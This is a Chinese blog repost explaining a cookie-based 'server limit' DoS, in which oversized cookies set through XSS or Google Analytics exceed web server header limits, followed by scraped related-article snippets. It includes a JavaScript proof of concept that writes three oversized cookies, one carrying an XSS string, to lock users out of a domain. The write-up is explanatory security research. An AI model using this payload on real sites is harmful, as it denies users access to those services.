墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题。顺带想到了一种利用 google 统计的漏洞,写在这里了

http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html

这个问题实际上是由于 webserver 的 request field limit 造成的。

当 http request header 过长时,webserver 会产生一个400 或者 4xx 错误

Your browser sent a request that this server could not understand.
Size of a request header field exceeds server limit.

如果这些超长数据保存在cookie中,或者能够让用户每次访问的http 头都超长,就会导致用户一直都无法访问该域名,也就是dos了。

sirdarckcat 发现在 google 的统计页面中存在一个 set-cookie 的地方没有控制,类似的地方还有 搜索引擎的参数会导致 referer 过长

这些用户能够控制的地方都会导致 http request field 超长,从而导致服务器返回一个 server limit 的错误.

每个 webserver 之间都有点差异, apache 可能是 8192 字节,具体可以参考这里:

http://apache.active-venture.com/mod/core6.htm

茄子下午测试了一下,发现在IE 8 中可以增加50个 cookie,由于每个cookie的限制是 4k (key, value 对),所以IE8 支持的cookie大小为 204k。 这也是IE 8新增的,以前没这么大。不过这些都远远超过了一般的webserver的默认 server limit 值

btw: apache 对 http request body 的limite 默认是 2G.

值得注意的是,使用XSS,将可以写cookie,从而导致这种 server limit dos 攻击

我POC了一下:

<script language="javascript">
alert(document.cookie); var metastr = "AAAAAAAAAA"; // 10 A
var str = ""; while (str.length < 4000){
str += metastr;
}
alert(str.length); document.cookie = "evil3=" + "<script>alert(xss)</script>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS document.cookie = "evil1=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; document.cookie = "evil2=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; alert(document.cookie); </script>

运行这个脚本后,会在当前域下植入3个cookie,总长度超过8192字节, 之后再请求该域就会无法访问了。

因为是 stored cookie, 所以会导致该用户在清理cookie前一直都无法访问该网站。

对于互联网网站来说,用户才是最重要和最宝贵的资源,哪怕用户的帐户被盗了,对于互联网公司的的损失可能都及不上用户无法访问网站造成的损失大。

而使用 XSS WORM 或者是 威力比较大的 XSS, 可以轻易的造成数千、数万的用户无法访问网站!

摘自:http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html

XSS的DOS攻击之 server limit dos的更多相关文章

  1. 远离DoS攻击 Windows Server 2016发布DNS政策

             Windows Server 2016的网络功能虽然没有获得像Docker容器和Nano Server同等重要的关注,但是管理员们应该了解的是,新的域名系统(Domain Name ...

  2. DOS攻击(一)

    DOS攻击(一) 介绍 DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务.最常见的DoS攻击有计算机网络带宽 ...

  3. DHCP server 冒充及DOS攻击处理方案

    一.DHCP服务器在运维上存在的常见问题: 1. DHCP服务器冒充 在DHCP服务器和客户端之间没有认证机制,如果在DHCP server覆盖的网络上随意接入一个DHCP server,就有可能造成 ...

  4. 【漏洞学习】slowHTTPtest 慢速 DOS 攻击方法 修复方案

    日期:2018-05-28 21:41:59 更新:2019-07-05 23:15:21 作者:Bay0net 介绍:学习一下 slowHTTPtest 的攻击及防御. 0x01. 安装 下载链接 ...

  5. TCP/IP具体解释--三次握手和四次握手 Dos攻击

    TCP连接的状态图 TCP建立连接的三次握手过程,以及关闭连接的四次握手过程 贴一个telnet建立连接,断开连接的使用wireshark捕获的packet截图. 1.建立连接协议(三次握手) (1) ...

  6. 真实故事:网站遭遇DOS攻击

     网站遭遇DOS攻击 一个.事件背景 长假对于IT人员来说是个短暂的休整时期,可IT系统却一时也不能停.越是节假日,越可能出大问题,以下要讲述的就是一起遭受DOS攻击的案例. 春节长假刚过完,小李 ...

  7. iptables 防止DoS攻击

    SYN洪水是攻击者发送海量的SYN请求到目标服务器上的一种DoS攻击方法,下面的脚本用于预防轻量级的DoS攻击:ipt-tcp.sh: iptables -N syn-flood (如果您的防火墙默认 ...

  8. Iptables netstat 防御简单dos攻击

    DoS攻击或者DDoS攻击是试图让机器或者网络资源不可用的攻击.这种攻击的攻击目标网站或者服务通常是托管在高防服务器比如银行,信用卡支付网管,甚至根域名服务器,DOS攻击的实施通常迫使目标重启计算机或 ...

  9. HTTP慢速拒绝服务攻击(Slow HTTP Dos)

    HTTP慢速拒绝服务攻击简介 HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用 ...

随机推荐

  1. Gt9xx芯片,在规格书+Linux驱动的基础上,移植为USB裸机经验。直接用开发板,不去碰硬件的坑。

    1,用内核代码和规格书来印证数据格式: //命令3字节,IC地址 u8 end_cmd[] = {GTP_READ_COOR_ADDR >> , GTP_READ_COOR_ADDR &a ...

  2. 我从腾讯那“偷了”3000万QQ用户数据,出了份很有趣的独家报告!

    声明: 1.目前程序已停止运行!QQ空间也已升级访问安全机制. 2.本“分析”数据源自部分用户的公开信息,并未触及隐私内容,广大网友无需担心. 3.QQ空间会不定期发布大数据分析报告,感兴趣的朋友关注 ...

  3. jsPlumb插件做一个模仿viso的可拖拉流程图

    前言 这是我第一次写博客,心情还是有点小小的激动!这次主要分享的是用jsPlumb,做一个可以给用户自定义拖拉的流程图,并且可以序列化保存在服务器端. 我在这次的实现上面做得比较粗糙,还有分享我在做j ...

  4. 如何在Mvc 6 中创建 Web Api以及如何脱离IIS实现自我托管

    微软推出的Asp.net vNext(asp.net 5.0)的其中的一个目标就是统一mvc 和web api 的框架.接下来我就演示一下一下几个内容 1,怎么在Asp.net mvc 6 中创建简单 ...

  5. windows API 开发飞机订票系统 图形化界面 (三)

    来吧,接下来是各个功能的函数的实现代码. 首先,程序运行时加载读入账户信息和航班信息.接下来就该读取文件了. 我把账户资料和航班信息储存在了.txt文件里 那么问题就来了,挖掘机...额,不对,应该怎 ...

  6. Orchard 刨析:Caching

    关于Orchard中的Caching组件已经有一些文章做了介绍,为了系列的完整性会再次对Caching组件进行一次介绍. 缓存的使用 在Orchard看到如下一段代码: 可以看到使用缓存的方法Get而 ...

  7. 编写高质量代码改善C#程序的157个建议[勿选List<T>做基类、迭代器是只读的、慎用集合可写属性]

    前言 本文已更新至http://www.cnblogs.com/aehyok/p/3624579.html .本文主要学习记录以下内容: 建议23.避免将List<T>作为自定义集合类的基 ...

  8. Day One

    站立式会议 站立式会议内容总结 442 今天完成:学习Android 三种常用的adapter的使用方法,实现主页的可折叠列表 遇到问题:在实现自定义Adapter时,调用出现错误.已解决. 明天计划 ...

  9. hdu1686 KMP

    简单KMP 求单词出现的次数.直接可以考虑,在每一次匹配成功时,让ans++,k=next[k],直到结束. #include<stdio.h> #include<string.h& ...

  10. 【UESTC 482】Charitable Exchange(优先队列+bfs)

    给你n个物品交换,每个交换用r,v,t描述,代表需要用r元的东西花费t时间交换得v元的东西.一开始只有1元的东西,让你求出交换到价值至少为m的最少时间代价.相当于每个交换是一条边,时间为边权,求走到价 ...